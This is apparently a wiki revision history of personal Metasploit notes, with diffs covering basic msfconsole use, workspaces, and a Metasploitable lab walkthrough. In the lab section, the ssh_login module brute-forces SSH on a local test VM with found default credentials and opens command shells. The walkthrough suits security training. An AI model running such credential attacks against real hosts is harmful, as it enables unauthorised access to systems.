MSF - Revision history

Admin: /* Advanced */

2018-11-12T06:16:13Z

Advanced

@@ Line 91: / Line 91: @@
 msf >
 </pre>
 =Advanced=

Admin: /* Basics */

2016-04-27T23:48:21Z

Basics

← Older revision		Revision as of 23:48, 27 April 2016
Line 4:		Line 4:

	=Basics=		=Basics=

			Fire up metasploit:

			<pre>
			$ msfconsole
			</pre>

			Get some help:

			<pre>
			msf> ?
			</pre>

			Use a particular exploit:

			<pre>
			msf> use some/particular/exploit
			</pre>

			Show info about how to use the exploit:

			<pre>
			msf> info
			msf> info some/particular/exploit
			</pre>

			Set your variables:

			<pre>
			msf> set RHOST 127.0.0.1
			</pre>

			Run the exploit:

			<pre>
			msf> run
			</pre>

			=Not-So-Basics=

	==Initializing DB==		==Initializing DB==

Admin: /* More Credentials */

2016-03-27T00:31:02Z

More Credentials

@@ Line 481: / Line 481: @@
 ==More Credentials==
-Run each of the other credentials we found. Everything goes ok, up until the last one, username klog::w
+Run each of the other credentials we found. Everything goes ok, up until the last one, username klog
@@ Line 549: / Line 549: @@
 [+] 10.0.0.27:22 SSH - Success: 'klog:123456789' 'Could not chdir to home directory /home/klog: No such file or directory Could not chdir to home directory /home/klog: No such file or directory '
 </pre>
 =Usage Example: Metasploitable Virtual Box=

Admin: /* More Credentials */

2016-03-27T00:29:22Z

More Credentials

← Older revision		Revision as of 00:29, 27 March 2016
Line 480:		Line 480:

	==More Credentials==		==More Credentials==

			Run each of the other credentials we found. Everything goes ok, up until the last one, username klog::w


	<pre>		<pre>
Line 539:		Line 542:
	[*] 10.0.0.27 - Command shell session 6 closed. Reason: Died from EOFError		[*] 10.0.0.27 - Command shell session 6 closed. Reason: Died from EOFError
	msf auxiliary(ssh_login) >		msf auxiliary(ssh_login) >
			</pre>

			That message tells us that the <code>klog</code> user doesn't have a home directory:

			<pre>
			[+] 10.0.0.27:22 SSH - Success: 'klog:123456789' 'Could not chdir to home directory /home/klog: No such file or directory Could not chdir to home directory /home/klog: No such file or directory '
	</pre>		</pre>

Admin: /* Credentials */

2016-03-27T00:27:46Z

Credentials

@@ Line 476: / Line 476: @@
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
 msf auxiliary(ssh_login) >
 </pre>

Admin: /* Credentials */

2016-03-27T00:25:14Z

Credentials

← Older revision		Revision as of 00:25, 27 March 2016
Line 463:		Line 463:
	msf > use auxiliary/scanner/ssh/ssh_login		msf > use auxiliary/scanner/ssh/ssh_login
	msf auxiliary(ssh_login) > show options		msf auxiliary(ssh_login) > show options
	~~msf auxiliary(ssh_login) > set USERNAME msfconsole~~
	~~USERNAME => msfconsole~~
	~~msf auxiliary(ssh_login) > set PASSWORD msfconsole~~
	~~PASSWORD => msfconsole~~
	msf auxiliary(ssh_login) > set RHOSTS 10.0.0.27		msf auxiliary(ssh_login) > set RHOSTS 10.0.0.27
	RHOSTS => 10.0.0.27		RHOSTS => 10.0.0.27
	~~msf auxiliary(ssh_login) > run~~

	~~[*] 10.0.0.27:22 SSH - Starting bruteforce~~
	~~[-] 10.0.0.27:22 SSH - Failed: 'msfconsole:msfconsole'~~
	~~[*] Scanned 1 of 1 hosts (100% complete)~~
	~~[*] Auxiliary module execution completed~~
	msf auxiliary(ssh_login) > set USERNAME msfadmin		msf auxiliary(ssh_login) > set USERNAME msfadmin
	USERNAME => msfadmin		USERNAME => msfadmin

Admin: /* Credentials */

2016-03-27T00:24:50Z

Credentials

← Older revision		Revision as of 00:24, 27 March 2016
Line 458:		Line 458:
	</pre>		</pre>

	~~I can't figure out how to add these manually. The following will not associate~~ them ~~with any particular host~~:		Add them by using the ssh_login module:

	<pre>		<pre>
	msf auxiliary(~~tcp~~) > ~~creds add-password postgres postgres~~		msf > use auxiliary/scanner/ssh/ssh_login
	msf auxiliary(~~tcp~~) > ~~creds add~~-~~password user user~~		msf auxiliary(ssh_login) > show options
	msf auxiliary(~~tcp~~) > ~~creds add-password~~ msfadmin msfadmin		msf auxiliary(ssh_login) > set USERNAME msfconsole
	msf auxiliary(~~tcp~~) > ~~creds add-password service service~~		USERNAME => msfconsole
	msf auxiliary(~~tcp~~) > ~~creds add~~-~~password sys batman~~		msf auxiliary(ssh_login) > set PASSWORD msfconsole
	msf auxiliary(~~tcp~~) > ~~creds add-password klog 123456789~~		PASSWORD => msfconsole
			msf auxiliary(ssh_login) > set RHOSTS 10.0.0.27
			RHOSTS => 10.0.0.27
			msf auxiliary(ssh_login) > run

			[*] 10.0.0.27:22 SSH - Starting bruteforce
			[-] 10.0.0.27:22 SSH - Failed: 'msfconsole:msfconsole'
			[*] Scanned 1 of 1 hosts (100% complete)
			[*] Auxiliary module execution completed
			msf auxiliary(ssh_login) > set USERNAME msfadmin
			USERNAME => msfadmin
			msf auxiliary(ssh_login) > set PASSWORD msfadmin
			PASSWORD => msfadmin
			msf auxiliary(ssh_login) > run

			[*] 10.0.0.27:22 SSH - Starting bruteforce
			[+] 10.0.0.27:22 SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
			[*] Command shell session 1 opened (10.0.0.5:45812 -> 10.0.0.27:22) at 2016-03-26 17:23:11 -0700
			[*] Scanned 1 of 1 hosts (100% complete)
			[*] Auxiliary module execution completed
			msf auxiliary(ssh_login) >
	</pre>		</pre>

	~~No host. And no way to specify host when adding credentials/passwords.~~

	=Usage Example: Metasploitable Virtual Box=		=Usage Example: Metasploitable Virtual Box=

Admin: /* Credentials */

2016-03-27T00:22:02Z

Credentials

← Older revision		Revision as of 00:22, 27 March 2016
Line 458:		Line 458:
	</pre>		</pre>

	We can add these manually:		I can't figure out how to add these manually. The following will not associate them with any particular host:

	<pre>		<pre>
Line 469:		Line 469:
	</pre>		</pre>

	~~This does not work.~~ No host. And no way to specify host when adding credentials/passwords.		No host. And no way to specify host when adding credentials/passwords.

	=Usage Example: Metasploitable Virtual Box=		=Usage Example: Metasploitable Virtual Box=

Admin: /* Reloading Workspace */

2016-03-27T00:17:28Z

Reloading Workspace

← Older revision		Revision as of 00:17, 27 March 2016
Line 87:		Line 87:
	==Reloading Workspace==		==Reloading Workspace==

	You can reload a workspace by listing all workspaces, then type <code>workspace [name]</code>:		You can reload a workspace by listing all workspaces, then type <code>workspace [name]</code>. Here, I reload the metasploitable workspace:

	<pre>		<pre>

Admin: /* Creating Workspace */

2016-03-27T00:17:07Z

Creating Workspace

← Older revision		Revision as of 00:17, 27 March 2016
Line 83:		Line 83:
	msf >		msf >

			</pre>

			==Reloading Workspace==

			You can reload a workspace by listing all workspaces, then type <code>workspace [name]</code>:

			<pre>
			msf > db_status
			[*] postgresql connected to msf
			msf > workspace
			* default
			metasploitable
			msf > workspace metasploitable
			[*] Workspace: metasploitable
			msf >
	</pre>		</pre>